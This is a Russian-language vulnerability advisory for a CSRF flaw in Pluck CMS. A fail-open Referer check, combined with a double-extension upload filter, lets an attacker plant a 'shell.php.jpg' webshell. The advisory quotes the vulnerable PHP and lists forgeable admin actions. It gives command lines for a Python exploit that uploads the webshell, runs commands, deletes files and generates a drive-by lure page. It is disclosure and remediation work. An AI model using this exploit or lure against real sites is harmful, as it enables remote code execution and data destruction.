
Advisory и Python PoC для CSRF в Pluck CMS: проверка Referer в режиме fail-open в сочетании с загрузкой файлов с двойным расширением позволяет развернуть веб-шелл и выполнить удалённый код.
Краткий обзор · Резюме · Первопричина · Цепочка атаки · Эксплойт · Устранение · Хронология
| CVE ID | CVE-2026-70376 |
| Трекинговый ID | PT-2026-68036 |
| Продукт | pluck-cms/pluck — Pluck CMS (PHP на плоских файлах) |
| Затронутые версии | 4.7.x вплоть до 4.7.21-dev / актуальный master |
| Слабость | CWE-352 (CSRF) · CWE-434 (неограниченная загрузка, усилитель) |
| CVSS v3.1 | 8.0 — High (высокий) · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Вектор | Сетевой · без привилегий · одно посещение страницы администратором (UI:R) |
| Воздействие | Уничтожение контента/DoS, внедрение сохраняемого контента, RCE на Apache/mod_php |
| Появилось | коммит f79f916 (дек. 2019) — уязвимая логика присутствует с этого момента |
| Исследователь | Ilhomjon Rustamov (@IlhomjonR) |
В админ-панели Pluck нигде в кодовой базе нет CSRF-токенов для запросов.
Каждое действие администратора, изменяющее состояние, проходит через единственную функцию
requestedByTheSameDomain(), единственная защита которой — сравнение хоста из заголовка Referer,
и эта проверка открыта нараспашку (fail open): когда запрос приходит вообще без заголовка
Referer, функция возвращает true, и действие разрешается.
Поскольку страница атакующего полностью контролирует, будет ли отправлен Referer
(<meta name="referrer" content="no-referrer">), любого вошедшего в систему администратора,
посетившего вредоносную страницу, можно вынудить выполнять привилегированные действия межсайтово.
Некоторые разрушительные действия выполняются через GET, а Pluck не задаёт атрибут SameSite
для PHPSESSID (браузеры применяют SameSite=Lax, и он всё равно передаётся при GET-навигации
верхнего уровня), поэтому при настройках браузера по умолчанию они достижимы межсайтово.
Вторичная слабость фильтра загрузки позволяет тому же CSRF разместить файл с двойным
расширением shell.php.jpg, превращая CSRF в RCE «с налёта» (drive-by) на хостах Apache/mod_php.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Межсайтовый запрос с чужим Referer корректно отклоняется (ветка else), что создаёт ложное
ощущение защищённости, — но атакующий просто подавляет заголовок Referer, попадает в ветку
fail-open, и запрос разрешается. За этой проверкой нет никакого уровня токенов.
Проверка выполняется один раз в admin.php, и её результату доверяет весь переключатель действий:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite у сессионной cookie (усилитель)Pluck никогда не вызывает session_set_cookie_params(), поэтому PHPSESSID наследует пустое
значение по умолчанию → браузеры применяют SameSite=Lax, который всё равно передаётся при
GET-навигации верхнего уровня. Поэтому действия, доступные по GET (deletefile, deleteimage,
deletepage, module_delete, theme_delete, logout), можно подделать одним посещением страницы.
data/inc/images.php (усилитель RCE)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Обе проверки обходятся тривиально:
$_FILES[...]['type']) → достаточно указать image/jpeg;shell.php.jpg
заканчивается на .jpg и проходит проверку.Файл сохраняется в images/shell.php.jpg; на хосте Apache/mod_php с обработкой множественных
расширений он выполняется как PHP.
Одно посещение страницы аутентифицированным администратором — без единого клика.
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]Поддающиеся подделке действия:
| Действие | Метод | Воздействие |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | Удаление произвольного загруженного файла |
admin.php?action=deletepage&... | GET | Удаление страниц сайта (DoS) |
admin.php?action=module_delete&... | GET | Удаление модулей |
admin.php?action=logout | GET | Выход администратора из системы |
admin.php?action=editpage | POST | Внедрение сохраняемого содержимого страницы |
admin.php?action=images (загрузка) | POST | Размещение shell.php.jpg → RCE |
Рабочий набор PoC-инструментов лежит в exploit/:
pluck_csrf_rce.py — доказывает логику fail-open, загружает веб-шелл через CSRF и выполняет
команды, удаляет файлы через CSRF или генерирует приманку (lure).csrf_poc.html — автономная страница drive-by, доставляемая администратору-жертве.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Python-запросы намеренно отправляются без Referer, в точности воспроизводя браузер жертвы
при политике no-referrer. Асимметрия на уровне HTTP, подтверждающая эту логику:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ Шаг
.php.jpg→ RCE требует хоста Apache/mod_php, который пропускает файлы с несколькими расширениями через PHP. Там, где это не настроено, CSRF-загрузка всё равно срабатывает, а разрушительные примитивыdelete/deletepageостаются незатронутыми — основная ошибка это CSRF; RCE лишь усиливает её.
Referer/Origin недоверенными.
Предпочитайте заголовок Origin и отклоняйте запрос, если он отсутствует или не совпадает.deletefile, deletepage, logout
и т.д. на POST, чтобы SameSite=Lax обеспечивал базовую защиту.SameSite=Strict (или Lax), HttpOnly и Secure
через session_set_cookie_params().| Дата | Событие |
|---|---|
| 2019-12 | Появилась уязвимая логика requestedByTheSameDomain() (f79f916) |
| 2026-07-08 | Обнаружено при аудите исходного кода; сквозной PoC подтверждён |
| 2026-08-10 | Подготовлен advisory (PT-2026-68036) |
| 2026-08-12 | Присвоен CVE-2026-70376; опубликованы advisory и PoC |
Этот материал публикуется в образовательных и защитных целях и только для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование.
Обнаружено и задокументировано @IlhomjonR · CVE-2026-70376 · PT-2026-68036